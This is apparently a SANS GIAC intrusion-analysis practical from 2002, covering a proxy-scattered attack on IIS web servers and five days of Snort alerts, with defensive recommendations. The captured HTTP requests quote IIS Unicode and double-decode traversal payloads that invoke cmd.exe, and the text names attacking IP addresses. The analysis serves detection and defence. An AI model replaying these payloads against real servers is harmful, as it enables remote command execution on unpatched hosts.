In order to save space within the parameters of this paper, the data session below is only a small portion of the actual captured data. The scattered proxy attack was indeed rather large and I could not possibly have fit all signatures triggered and data session captured within the parameters of this paper. Instead I only used a portion of the session data to give the reader an understanding of the attack. Keep in mind that the session data and return data from the servers were consistent from all captured session data.

Dragon Signature Name IIS:HTR-PROBE

T D A S 4 0 80 IIS:HTR-PROBE .htr?

```
HEAD
/iisadmpwd/aexp.htrxmsadc..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/
c+dir+c: HTTP/1.0{D}{A}
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*{D}{A}
User-Agent: Mozilla/4.6 ( compatible; MSIE 5.5; Windows 98; Compaq
){D}{A}
Host: CLIENT.NET.95.52{D}{A}
Pragma: no-cache{D}{A}
{D}{A}
{A}

HTTP/1.1 404 Object Not Found{D}{A}
```

```
Server: Microsoft-IIS/5.0{D}{A}
Date: Fri, 03 May 2002 19:34:14 GMT{D}{A}
Content-Length: 3252{D}{A}
Content-Type: text/html{D}{A}
{D}{A}
```

The IIS:HTR-PROBE .htr? was triggered based on the .htr extension. This signature was created in response to the latest IIS .htr remote heap overflow vulnerability and will trigger whenever a request is made for .htr extension. The peculiarities of this request at first glance are that we have never seen the .htr request in conjunction with a Unicode directory traversal. Examining the signature and session data closer reveals that the signature most likely triggered on the ".htrxmsadc" portion of the data. Although this Unicode variant is a real attack the signature triggered could be considered a false positive.

Dragon Signature Name IIS:ADMIN-PASSWORD

T D A S 15 85 W IIS:ADMIN-PASSWORD /2fiisadmpwd/2faexp

```
HEAD
/iisadmpwd/aexp.htrxmsadc..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/
c+dir+c: HTTP/1.0{D}{A}
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*{D}{A}
User-Agent: Mozilla/4.6 ( compatible; MSIE 5.5; Windows 98; Compaq
){D}{A}
Host: CLIENT.NET.95.52{D}{A}
Pragma: no-cache{D}{A}
{D}{A}
{A}

HTTP/1.1 404 Object Not Found{D}{A}
Server: Microsoft-IIS/5.0{D}{A}
Date: Fri, 03 May 2002 19:34:14 GMT{D}{A}
Content-Length: 3252{D}{A}
Content-Type: text/html{D}{A}
{D}{A}
```

This signature created by Enterasys, triggers on the "iisadmpwd" portion of the data. IIS 4.0 has the ability to allow users to change their passwords and notify them that their passwords are about to expire. This is accomplished by using the IISADMPWD virtual server installed as part of the default Web server. As mentioned above, although this is a real attack it is just another Unicode attack variant and was triggered as a false positive based on the *iisadmpwd* portion of the signature.

Dragon Signature

T D A S 2 0 W IIS:CMD.EXE3 winnt/2fsystem32/2fcmd.exe/3f

```
HEAD
/msadc/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0{D}{A}
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*{D}{A}
```

```
User-Agent: Mozilla/4.0 ( compatible; MSIE 5.0; Windows 98; win9x/NT
4.90 ){D}{A}
Host: CLIENT.NET.95.52{D}{A}
Pragma: no-cache{D}{A}
{D}{A}
{A}

HTTP/1.1 404 Object Not Found{D}{A}
Server: Microsoft-IIS/5.0{D}{A}
Date: Fri, 03 May 2002 19:34:14 GMT{D}{A}
Content-Length: 3252{D}{A}
Content-Type: text/html{D}{A}
{D}{A}
```

This signature is a generic *cmd.exe* signature that triggers when the Superfluous Unicode is appended to the HTTP request. This signature triggers on a variety of IIS exploits based on *cmd.exe*.

Dragon Signature

T D A B 2 0 W IIS:UNICODE2 %c0%af

```
HEAD
/exchange/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+di
r+c: HTTP/1.0{D}{A}
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*{D}{A}
User-Agent: Mozilla/4.73 ( compatible; MSIE 4.0; Windows NT4.0; DigiExt
){D}{A}
Host: CLIENT.NET.95.54{D}{A}
Pragma: no-cache{D}{A}
{D}{A}
{A}

HTTP/1.1 404 Object Not Found{D}{A}
Server: Microsoft-IIS/5.0{D}{A}
Date: Fri, 03 May 2002 19:36:38 GMT{D}{A}
Content-Type: text/html{D}{A}
Content-Length: 111{D}{A}
{D}{A}
 < html >  < head >  < title > Site Not Found < /title >  < /head > {A}
 < body > No web site is configured at this address. < /body >  < /html
>
```

As per the Enterasys support website, this signature was triggered based on the standard "double dot directory traversal exploitation when extended UNICODE character representations are used in substitution for '/' and '\'". This is an attempt to traverse the directory of the victim IIS server within the exchange directory.

Dragon Signature

T D A B 2 0 W IIS:UNICODE3 %c1%9c

```
HEAD /msadc..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:
HTTP/1.0{D}{A}
```

```
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*{D}{A}
User-Agent: Mozilla/4.0 ( compatible; [jp]; Windows 95; NetCaptor
){D}{A}
Host: CLIENT.NET.95.52{D}{A}
Pragma: no-cache{D}{A}
{D}{A}
{A}

HTTP/1.1 404 Object Not Found{D}{A}
Server: Microsoft-IIS/5.0{D}{A}
Date: Fri, 03 May 2002 19:34:14 GMT{D}{A}
Content-Length: 3252{D}{A}
Content-Type: text/html{D}{A}
{D}{A}
```

This signature works in the same fashion as the one directly above. It is also based on the standard double dot directory traversal exploitation when extended UNICODE character representations are used. This was an attempt to traverse the MSADC directory.

Dragon Signature

T D A S 5 50 W IIS:SENSEPOST-EXE /2fsensepost.exe

```
HEAD /MSADC/sensepost.exe?/c+dir HTTP/1.0{D}{A}
Via: 1.0 NT360IIS1{D}{A}
User-Agent: Mozilla/4.6 ( compatible; [en]; Windows 98; athome0107
){D}{A}
Host: CLIENT.NET.95.56{D}{A}
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*{D}{A}
Pragma: no-cache{D}{A}
Connection: Keep-Alive{D}{A}
{D}{A}
{A}

HTTP/1.1 404 Object Not Found{D}{A}
Server: Microsoft-IIS/5.0{D}{A}
Date: Fri, 03 May 2002 19:39:49 GMT{D}{A}
Content-Length: 3252{D}{A}
Content-Type: text/html{D}{A}
{D}{A}
```

The sensepost.exe file is actually a copy of the Windows cmd.exe that was created from a Perl script called unicodexecute2.pl. This particular attack appears to be an attempt to execute commands on a previous backdoor on the IIS server within the MSADC directory. Information concerning sensepost.exe can be found at http://online.securityfocus.com/archive/1/141438.

Source of Trace:

This detect was obtained from our Security Operations Center Analysis and Response Console.

Detect Generated By:

This event was generated by Dragon 4.2.2 on Redhat 7.1.

Probability the Source Address was Spoofed:

The probability of this attack being spoofed is low. Although the source IP's are all different, the connection handshake would not be possible if the source IP's were spoofed and the return data would not be available to the attacker.

Description of the Attack:

This attack represents the many uses of the popular Unicode and Superfluous Unicode vulnerability. This is particularly interesting because several different source IP's hit several web servers on the same network, all within minutes of each other. At first glance this appeared to be just several instances of the Nimda worm propagation. However, what alerted our interest to investigate was the fact that the original timestamps were very closely related, all the same signatures were triggered and the log counts were almost all identical. After some investigative work it was determined that all source IP's were running various proxy services. Additional testing confirmed the suspected proxy's were all open and available for public access.

Attack Mechanism:

It is not definitive that this is actually a scattered proxy web attack. After completing some investigative analysis I can only make a best technical guess. The attacker must have done some homework in order to make use of available proxy servers to route traffic through for the attack. Most likely he or she has a personal database of existing open proxy's to make use of. I can only assume this attack was generated by an automated script due to the tightness of the timestamps, the signatures triggered and the log counts. The attack mechanism itself is based on well-known vulnerabilities in a default installation of the Microsoft IIS servers. If not patched properly a remote attacker can execute code leading to system level or higher compromise and website defacements.

Correlations:

Although I am sure there are other instances of this type of attack out there, I was not able to find any similarities on **www.google.org**, nor have our Analysis team witnessed any other similar attacks.

Evidence of Active Targeting:

I believe evidence exists that shows this was in fact a targeted attack. All destination IP's hit were high profile web servers running IIS hosted for a Government client. A successful attack against any of these servers would be a great hit for any attacker.

Severity:

Target Criticality: 4: The targets are publicly accessible high profile IIS web servers and the attacker is attempting to gain system level access to the servers.

Attack Lethality: 5. The attacker was looking to exploit various well-known vulnerabilities in the Microsoft IIS web server.

System Countermeasures: 4. The targeted web servers are all running Windows IIS 4.0 and 5.0 all subject to many well-known exploits if not configured and patched properly. In this case the customer has patched the servers against all the latest exploits and has turned off additional tools such as TFTP and .HTR.

Network Countermeasures: 4. The customer has a Stateful firewall in place allowing inbound HTTP on a separate DMZ. A Dragon IDS system is set to capture all inbound and outbound traffic. Although the firewall does allow the attack to take place it is configured to deny all outbound HTTP initiated SYN traffic.

Attack Severity: 1. $(4 + 5) – (4 + 4) = 1$

Defensive Recommendations:

Ensure all web servers are updated with the latest patches and Service Packs. If the attacker originated from one particular IP address we could block that source at the firewall. However, considering this attack came from many source IP addresses, implementing a block rule for several IP's would be useless knowing that the attacker could use any number of open proxy's for future attacks. Our only worthy option would be to contact the owners of the proxy's and consult them on the dangers of insecure proxy servers.

Multiple choice test question:

Question: This attack is most likely not Nimda traffic because:

A. Closeness of the timestamps
B. Log count
C. Footprint (signatures triggered)
D. Selection of potential target IP's

Answer: C

Assignment 3: Analyze This

Below is a list of Snort log files that were downloaded from the SANS GIAC University network for analysis interpretation. As seen below, the three types of files consist of alert, out of spec, and scans between April 01, 2002 and April 05, 2002.

Alert	Out of Spec	Scan
alert.020401	**oos_Apr.1.2002**	**scans.020401**

alert.020402	oos_Apr.2.2002	scans.020402
alert.020403	oos_Apr.3.2002	scans.020403
alert.020404	oos_Apr.4.2002	scans.020404
alert.020405	oos_Apr.5.2002	scans.020405

Executive Summary

The alert log files provided by SANS GIAC database over the course of a five day period consisted of 82 distinct alerts triggering a total of 1049957 times. Although the session data was unavailable to me I was able to extract a top 20 most critical alert list based on the log data provided. SANS administrators should consider reviewing the top 20 alerts in more detail for evidence of system level compromise. Each of the top 20 alerts is provided below followed by a brief description, defense recommendation and any correlations found on the Internet, our SOC attack database, or observations made from other alerts logs. Following is top 10 source and destinations IP list extracted from the alert file. In addition I have extracted a top 5 external source IP list from the out of spec logs followed with a brief description of why I believed the logs were considered to be out of specification. Below the out of spec analysis I have included two link graphs. The first provides a bar graph of all external source IP's observed. The source IP's were extracted from the scan logs and sorted by country origin. The second graph provides a total log count from each of those countries.

In conclusion, I have listed a top 5 source IP list with registration information. These 5 sources were considered hostile based on the activity observed and great care should be taken to review the session data and logs concerning their activity. Finally, I have created a list of top internal hosts I believe may have been compromised and or misused. SANS administrators are strongly encouraged to investigate the hosts for evidence of tampering.

1049957 alerts found using input module SnortFileInput, with sources:

- /usr/SnortSnarf-020516.1/logs/alert

Earliest alert at **00:00:04**.585544 *on 04/01/2002*
Latest alert at **23:57:30**.587582 *on 04/05/2002*

Priority	Signature (click for sig info)	# Alerts	Detail link
N/A	ICMP Router Selection (Undefined Code!)	1	Summary
N/A	x86 NOOP - unicode BUFFER OVERFLOW ATTACK	1	Summary
N/A	IDS475/web-iis_web-webdav-propfind [arachNIDS]	1	Summary

N/A	TCP SMTP Source Port traffic	1	Summary
N/A	INFO Inbound GNUTella Connect accept	1	Summary
N/A	WEB-CGI redirect access	1	Summary
N/A	WEB-MISC ICQ Webfront HTTP DOS	1	Summary
N/A	TELNET access	2	Summary
N/A	MISC source port 53 to <1024	2	Summary
N/A	WEB-IIS asp-dot attempt	2	Summary
N/A	WEB-CGI formmail access	2	Summary
N/A	suspicious host traffic	2	Summary
N/A	WEB-MISC whisker head	2	Summary
N/A	TFTP - Internal UDP connection to external tftp server	2	Summary
N/A	MISC Invalid PCAnywhere Login	2	Summary
N/A	Probable NMAP fingerprint attempt	2	Summary
N/A	WEB-MISC webdav search access	2	Summary
N/A	MISC PCAnywhere Startup	3	Summary
N/A	INFO Outbound GNUTella Connect accept	3	Summary
N/A	TFTP - External UDP connection to internal tftp server	4	Summary
N/A	RFB - Possible WinVNC - 010708-1	4	Summary
N/A	WEB-IIS encoding access	4	Summary
N/A	Incomplete Packet Fragments Discarded	5	Summary
N/A	SCAN FIN	5	Summary
N/A	EXPLOIT x86 setgid 0	6	Summary
N/A	WEB-MISC http directory traversal	7	Summary
N/A	IDS552/web-iis_IIS ISAPI Overflow ida nosize [arachNIDS]	7	Summary
N/A	Port 55850 udp - Possible myserver activity - ref. 010313-1	8	Summary
N/A	RPC tcp traffic contains bin_sh	8	Summary
N/A	EXPLOIT x86 stealth noop	11	Summary
N/A	Port 55850 tcp - Possible myserver activity - ref. 010313-1	11	Summary

N/A	EXPLOIT x86 setuid 0	14	Summary
N/A	High port 65535 tcp - possible Red Worm - traffic	15	Summary
N/A	WEB-MISC 403 Forbidden	18	Summary
N/A	SUNRPC highport access!	20	Summary
N/A	MYPARTY - Possible My Party infection	22	Summary
N/A	INFO napster upload request	22	Summary
N/A	Back Orifice	23	Summary
N/A	SCAN Synscan Portscan ID 19104	24	Summary
N/A	EXPLOIT NTPDX buffer overflow	25	Summary
N/A	WEB-MISC compaq nsight directory traversal	25	Summary
N/A	EXPLOIT x86 NOOP	28	Summary
N/A	ICMP Destination Unreachable (Protocol Unreachable)	28	Summary
N/A	Attempted Sun RPC high port access	30	Summary
N/A	Queso fingerprint	40	Summary
N/A	INFO FTP anonymous FTP	44	Summary
N/A	INFO - Possible Squid Scan	46	Summary
N/A	MISC traceroute	47	Summary
N/A	ICMP Echo Request BSDtype	60	Summary
N/A	WEB-CGI ksh access	74	Summary
N/A	INFO Possible IRC Access	89	Summary
N/A	ICMP traceroute	91	Summary
N/A	INFO Napster Client Data	91	Summary
N/A	ICMP Destination Unreachable (Communication Administratively Prohibited)	103	Summary
N/A	INFO napster login	122	Summary
N/A	SCAN Proxy attempt	137	Summary
N/A	Possible trojan server activity	138	Summary
N/A	WEB-CGI scriptalias access	158	Summary
N/A	Null scan!	271	Summary
N/A	WEB-FRONTPAGE _vti_rpc access	299	Summary
N/A	ICMP Echo Request Windows	301	Summary
N/A	Watchlist 000222 NET-NCFC	320	Summary
N/A	WEB-IIS _vti_inf access	322	Summary

N/A	INFO Outbound GNUTella Connect request	546	Summary
N/A	WEB-MISC Attempt to execute cmd	723	Summary
N/A	NMAP TCP ping!	841	Summary
N/A	WEB-IIS view source via translate header	1317	Summary
N/A	ICMP Router Selection	1490	Summary
N/A	ICMP Fragment Reassembly Time Exceeded	2228	Summary
N/A	FTP DoS ftpd globbing	4048	Summary
N/A	Watchlist 000220 IL-ISDNNET-990517	4840	Summary
N/A	ICMP Echo Request Nmap or HPING2	5664	Summary
N/A	INFO Inbound GNUTella Connect request	11680	Summary
N/A	High port 65535 udp - possible Red Worm - traffic	14653	Summary
N/A	MISC Large UDP Packet	16799	Summary
N/A	INFO MSN IM Chat data	22006	Summary
N/A	ICMP Echo Request L3retriever Ping	33491	Summary
N/A	spp_http_decode: CGI Null Byte attack detected	44305	Summary
N/A	SMB Name Wildcard	66946	Summary
N/A	spp_http_decode: IIS Unicode attack detected	86587	Summary
N/A	SNMP public access	92595	Summary
N/A	connect to 515 from inside	636038	Summary

TOP 20 Alerts based on severity

151697 alerts found using input module SnortFileInput, with sources:

- /usr/SnortSnarf-020516.1/logs/test

Earliest alert at **00:04:41**.135240 *on 04/01/2002*
Latest alert at **23:16:15**.603966 *on 04/05/2002*

Priority	Signature (click for sig info)	# Alerts	# Sources	# Dests	Detail link
N/A	WEB-MISC ICQ Webfront HTTP DOS	1	1	1	Summary
N/A	IDS475/web-iis_web-webdav-propfind [arachNIDS]	1	1	1	Summary
N/A	MISC Invalid PCAnywhere Login	2	1	1	Summary
N/A	WEB-CGI formmail access	2	2	2	Summary
N/A	WEB-MISC whisker head	2	1	1	Summary
N/A	MISC PCAnywhere Startup	3	1	1	Summary

N/A	WEB-IIS encoding access	4	3	2	Summary
N/A	IDS552/web-iis_IIS ISAPI Overflow ida nosize [arachNIDS]	7	7	6	Summary
N/A	WEB-MISC http directory traversal	7	4	2	Summary
N/A	Port 55850 udp - Possible myserver activity - ref. 010313-1	8	6	7	Summary
N/A	RPC tcp traffic contains bin_sh	8	3	4	Summary
N/A	MYPARTY - Possible My Party infection	22	3	1	Summary
N/A	Back Orifice	23	4	19	Summary
N/A	WEB-CGI ksh access	74	1	1	Summary
N/A	Watchlist 000222 NET-NCFC	320	4	4	Summary
N/A	WEB-MISC Attempt to execute cmd	723	28	34	Summary
N/A	Watchlist 000220 IL-ISDNNET-990517	4840	19	15	Summary
N/A	High port 65535 udp - possible Red Worm - traffic	14653	222	178	Summary
N/A	Spp_http_decode: CGI Null Byte attack detected	44305	34	41	Summary
N/A	Spp_http_decode: IIS Unicode attack detected	86587	182	1017	Summary

WEB-MISC ICQ Webfront HTTP DOS

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
63.16.114.130	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.96	1	262	1	14

Brief Description

ICQ clients running Web Front on their 95 and 98 workstations are subject to malicious attacks. Web Front is a tool designed to enable a Windows 95/98 workstation the ability to run HTTP over ICQ. By appending one or more "?" characters to the URL GET request, an attacker may cause the HTTPD service to crash and possibly the entire workstation. More details concerning the attack and the tool that performs this malicious task can be found at the following link: http://online.securityfocus.com/archive/1/138332

Defensive Recommendations

Due to the insecure nature of the ICQ protocol users should be advised to the possibilities of malicious activity. It is recommended that a firewall be put in place allowing ICQ outbound only.
The destination IP MY.NET.5.96 has been the subject of much attempted abuse. Although no evidence shows unusual outbound activity, it would be reasonable to suggest investigating this server in more detail for any evidence of compromise. Below is a list of all activity seen by this host over the course of 5 days.

- 1 instances of *WEB-MISC ICQ Webfront HTTP DOS*
- 1 instances of *IDS552/web-iis_IIS ISAPI Overflow ida nosize*
- 1 instances of *IDS475/web-iis_web-webdav-propfind*
- 1 instances of *spp_http_decode: IIS Unicode attack detected*
- 2 instances of *WEB-IIS encoding access*
- 2 instances of *WEB-MISC whisker head*
- 3 instances of *WEB-MISC Attempt to execute cmd*
- 5 instances of *WEB-MISC http directory traversal*
- 74 instances of *WEB-CGI ksh access*
- 172 instances of *spp_http_decode: CGI Null Byte attack detected*

http://www.icq.com/hpf/

Correlations

No correlations were found concerning this source IP or the alert.

IDS475/web-iis_web-webdav-propfind

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
207.172.11.147	1	75	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.96	1	262	1	14

Brief Description

This alert appears to have been generated by the source IP attempting to query Web Distributed Authoring and Versioning (WebDav) using the Propfind request. This tool is an extension of HTTP Apache web server, installed and enabled by SuSE 6.4. The WebDav tool allows users the ability to remotely create, edit and share documents via specific requests such as Propfind.

Seen below under Source IP history is a sample of the logs pulled from both *IDS475/web-iis_web-webdav-propfind* event and *WEB-CGI ksh* access event. These events have triggered based on the source IP's activities. Additional information concerning WebDav can be found at the following links: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0869

Defensive Recommendations

Depending on the criticality of the web server in question the attacker may have been successful in pulling sensitive information from the host. It is recommended that this tool be turned off if not needed. However, if the tool is needed the following guidelines taken from http://online.securityfocus.com/bid/1656/solution/ should be used in order to control which directories to be opened by WebDav:

Add the following entries in httpd.conf for each directory you want open to WebDAV:

<Directory /webdav/directory/goes/here>
#add other directives as needed such as Order allow,deny
<IfDefine DAV>
DAV On
</IfDefine>
</Directory>

Stop and restart Apache.

Correlations

Alert WEB-CGI ksh access provides evidence that the attacker has possibly compromised the target IP MY.NET.5.96. Refer to the WEB-CGI ksh event below for additional information on this source IP. Additionally, the target IP has been subject to a large number of probes seen below:

- 1 instances of *WEB-MISC ICQ Webfront HTTP DOS*
- 1 instances of *IDS552/web-iis_IIS ISAPI Overflow ida nosize*
- 1 instances of *IDS475/web-iis_web-webdav-propfind*
- 1 instances of *spp_http_decode: IIS Unicode attack detected*
- 2 instances of *WEB-IIS encoding access*
- 2 instances of *WEB-MISC whisker head*
- 3 instances of *WEB-MISC Attempt to execute cmd*
- 5 instances of *WEB-MISC http directory traversal*
- 74 instances of *WEB-CGI ksh access*
- 172 instances of *spp_http_decode: CGI Null Byte attack detected*

Source IP history pulled from our SOC attack database demonstrates a history of various web attacks seen below.

Source IP (Attacker) Details
IP Address: 207.172.11.147

Seen first: 1/13/2001 11:42:55 PM
Days seen: 82

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
Horizontal scan	34	5	3/27/2001 1:19:05 AM	5/23/2001 9:20:17 PM
brute forcing	25	3	1/13/2001 11:42:55 PM	10/13/2001 1:56:41 AM
WEB:CGI-LYRIS	1	1	12/24/2001 5:05:52 AM	12/24/2001 5:05:52 AM
FRONTPAGE:SHTML	1	1	11/14/2001 11:59:59 PM	11/14/2001 11:59:59 PM
WEB:FORMMAIL	1	1	7/23/2002 10:31:29 AM	7/23/2002 10:31:29 AM
WEB:PARENT-DIR	8	1	1/14/2001 12:35:18 AM	2/28/2001 4:06:59 AM
WEB:RELATIVE	1	1	6/28/2002 10:55:47 PM	6/28/2002 10:55:47 PM
TCP-SWEEP	1	1	1/11/2002 11:33:54 AM	1/11/2002 11:33:54 AM
WEB:DOT-DOT	8	1	1/14/2001 12:35:18 AM	2/28/2001 4:07:00 AM
WEB:DOUBLE-SLASH	2	1	6/28/2002 10:55:47 PM	7/17/2002 4:25:39 PM
WEB:MULTI-DOT-DOT	1	1	4/2/2002 12:55:10 AM	4/2/2002 12:55:10 AM
IIS:HEX-DOT-ASP	1	1	5/23/2001 2:48:52 AM	5/23/2001 2:48:52 AM
IIS:ASP-DOT	1	1	6/11/2002 7:04:05 PM	6/11/2002 7:04:05 PM
FRONTPAGE:VTI_INF	5	3	10/8/2001 4:22:56 PM	5/29/2002 5:15:53 PM
DRAGON-Unknown	4	1	7/10/2001 3:27:36 AM	7/25/2001 8:15:22 PM
Unknown-Netscreen	13	2	5/12/2001 3:21:59 AM	5/25/2001 3:59:56 AM
FRONTPAGE:SHTML.DLL	3	1	10/8/2001 4:22:56 PM	11/16/2001 7:27:30 PM
WEB:HOST-OVERFLOW	4	1	3/1/2002 5:21:44 PM	4/29/2002 7:16:20 PM
IIS:IDQ-ISAPI-OVERFLOW	1	1	7/24/2001 1:24:37 AM	7/24/2001 1:24:37 AM
IIS:ISAPI-OVERFLOW-IDA	1	1	7/25/2001 8:15:22 PM	7/25/2001 8:15:22 PM
Horizontal scan	2	2	4/20/2002 11:15:35 AM	4/20/2002 11:30:15 AM
Horizontal scan for HTTP	2	2	4/20/2002 11:15:36 AM	4/20/2002 11:30:17 AM

Source IP history pulled from Alert logs

04/01-12:46:11.155457 [**] WEB-CGI ksh access [**] 207.172.11.147:42796 -> MY.NET.5.96:80
04/03-22:14:11.704772 [**] WEB-IIS _vti_inf access [**] 207.172.11.147:35135 -> MY.NET.5.96:80
04/04-11:23:54.043529 [**] WEB-FRONTPAGE _vti_rpc access [**] 207.172.11.147:59196 -> MY.NET.5.96:80
04/04-11:24:21.227099 [**] WEB-IIS view source via translate header [**] 207.172.11.147:60205 -> MY.NET.5.96:80
04/04-11:24:24.476716 [**] WEB-IIS view source via translate header [**] 207.172.11.147:60482 -> MY.NET.5.96:80
04/04-11:24:24.478462 [**] IDS475/web-iis_web-webdav-propfind [**] 207.172.11.147:60482 -> MY.NET.5.96:80
04/04-11:28:13.962563 [**] WEB-IIS _vti_inf access [**] 207.172.11.147:36829 -> MY.NET.5.96:80
04/04-11:32:51.012515 [**] WEB-IIS _vti_inf access [**] 207.172.11.147:47406 -> MY.NET.5.96:80
04/04-11:32:52.637778 [**] WEB-FRONTPAGE _vti_rpc access [**] 207.172.11.147:47494 -> MY.NET.5.96:80

04/04-11:34:31.103283 [**] WEB-FRONTPAGE _vti_rpc access [**] 207.172.11.147:51522 -> MY.NET.5.96:80
04/04-19:14:59.954612 [**] WEB-IIS _vti_inf access [**] 207.172.11.147:48860 -> MY.NET.5.96:80
04/04-19:15:02.090601 [**] WEB-FRONTPAGE _vti_rpc access [**] 207.172.11.147:48941 -> MY.NET.5.96:80

MISC Invalid PCAnywhere Login

MISC PCAnywhere Startup

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
208.228.181.250	2	2	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.141	2	2	1	1

Brief Description

These alerts were generated due to the source IP's attempt to log into the PCAnywhere remote control application. The PCAnywhere application allows network administrators to remotely connect and administer LANs and workstations. Similar to other remote applications such as VNC, Microsoft Terminal Services, Netbus and even BackOrifice, these utilities may be useful but also vulnerable to exploitation by attackers or unauthorized users for malicious purposes.

04/02-10:45:21.889289 [**] MISC Invalid PCAnywhere Login [**] MY.NET.5.141:5631 -> 208.228.181.250:3382
04/02-10:45:27.562939 [**] MISC Invalid PCAnywhere Login [**] MY.NET.5.141:5631 -> 208.228.181.250:3382

04/02-10:45:10.594844 [**] MISC PCAnywhere Startup [**] 208.228.181.250:3381 -> MY.NET.5.141:5632
04/02-10:46:39.016018 [**] MISC PCAnywhere Startup [**] 208.228.181.250:3393 -> MY.NET.5.141:5632
04/02-10:49:35.066710 [**] MISC PCAnywhere Startup [**] 208.228.181.250:3465 -> MY.NET.5.141:5632

Defense Recommendation

SANS administrators are encouraged to determine that the source IP address is authorized for this activity. If a firewall is in place it is suggested that only the authorized source IP's be allowed to pass.

Correlations

Correlations were identified between these two alerts giving reason to believe the source IP 208.288.181.250 successfully connected to an internal host. See logs above.

WEB-CGI formmail access

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
209.86.205.243	1	1	1	1
65.139.127.189	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.95	1	27	1	5
MY.NET.150.139	1	5	1	3

Brief Description

The two source IP's seen below appear to be probing the destination web servers in question for a formmail.pl script vulnerability. This vulnerability allows susceptible servers to be used as open e-mail relays. This exploit is designed to affect Apache web servers, so if the web servers on the network run under Windows NT or 2000, it should pose no threat. Reviewing the logs over the course of five days shows no evidence that the destination IP's have been generating any significant amount of outbound traffic over port 25 or 80, indicating that the targets have not been exploited or misused.
Below are the logs pulled from the alert files.

04/04-10:33:09.054465 [**] WEB-CGI formmail access [**] 209.86.205.243:4921 -> MY.NET.150.139:80
04/01-07:08:27.826571 [**] WEB-CGI formmail access [**] 65.139.127.189:2600 -> MY.NET.5.95:80

Defense Recommendations

It is recommended that you ensure all Apache web servers have been patched with the latest release of the software, and that any unused or test scripts are disabled.
Information concerning this exploit in addition to the latest patch can be found at the links below: http://securitytracker.com/alerts/2001/Mar/1001108.html

Correlations

Source IP history pulled from our SOC attack database shows similar activity on the misuse of formmail.

IP Address: 65.139.127.189

Seen first: 4/1/2002 10:46:01 AM
Days seen: 1

Unique Signatures

Signature Name	Count	# Companies	Earliest Date	Latest Date
WEB:FORMMAIL	2	2	4/1/2002 10:46:01 AM	4/1/2002 11:25:57 AM

WEB-MISC whisker head

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
12.91.163.139	2	2	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.96	2	262	1	14

Brief Description

The source IP appears to be scanning the destination web server using a well-known tool called Whisker. Whisker is a Unix based HTTP scanning tool created by Rain Forest Puppy. This intelligent tool probes Apache based web servers for CGI script vulnerabilities by querying the target using its built-in and plug-in database. Because many CGI script vulnerabilities exist in Unix based web servers Whisker has the capability to check the scripts and return valuable information to the attacker. Once the attacker has completed the scan he/she is then provided the tools to assess and determine which vulnerabilities, if any, to exploit based on the return data.

This alert could be a false positive. When in use, Whisker usually triggers multiple signatures from a correctly configured Intrusion Detection System. In this case, the source only triggered a *WEB-MISC 403 Forbidden* signature. Nevertheless, SANS administrators should track this source IP for additional activity.

Defense Recommendations

Because an intelligent attacker may take days or weeks to research their targets it is recommended the SANS administrators track the source for future malicious activity. Needless to say, you should ensure that the target in question is patched with the latest updates in case the attacker probed for exploits for which there is no signature.

Correlations

Reviewing the logs over the five-day period results in correlating activity from this source IP. This activity was pulled from the Alert logs and shown below. Based on timestamp information both signatures triggered from the same attack.

04/01-10:10:09.443842 [**] WEB-MISC 403 Forbidden [**] MY.NET.5.96:80 -> 12.91.163.139:2167

WEB-IIS encoding access

Sources triggering this attack signature

Source	# Alerts (sig)	# Alerts (total)	# Dsts (sig)	# Dsts (total)
24.162.83.132	2	31	1	1
68.49.32.46	1	3	1	1
208.192.129.170	1	1	1	1

Destinations receiving this attack signature

Destinations	# Alerts (sig)	# Alerts (total)	# Srcs (sig)	# Srcs (total)
MY.NET.5.96	5	262	3	14
MY.NET.153.159	2	133	1	7

Brief Description

This event represents the use of %u encoding within a communication session on Microsoft IIS 4.0 and 5.0. These particular alerts do not necessarily indicate that an attack has occurred but instead only indicate that this type of encoding is in use. Instead of using UTF encoding an attacker may use %u encoding to exploit a Microsoft IIS 4.0 or 5.0 server. Examples of this type of activity are seen below:

"/scripts/..%u00c0%u00af" in place of a "/" directory traversal is possible.
This can also be combined with the double decode bug, for instance, "%u0025u005c" would be the same as a"\".

Information concerning the HTTP IIS encoding attack can be found at the following link:
http://www.whitehats.com/cgi/arachNIDS/Show?_id=ids200&view=event

Defense Recommendations

Ensure the target IP's have been updated with the most recent patches and Service Packs. These can be found at www.microsoft.com download center.

Correlations

Although the session data is unavailable for review I would recommend investigating the alerts for source IP's 68.49.32.46 and 24.162.83.132. Both of these sources have correlating data that signal attempts at real attacks. Below is the history of each of these sources over the course of 5 days.

68.49.32.46

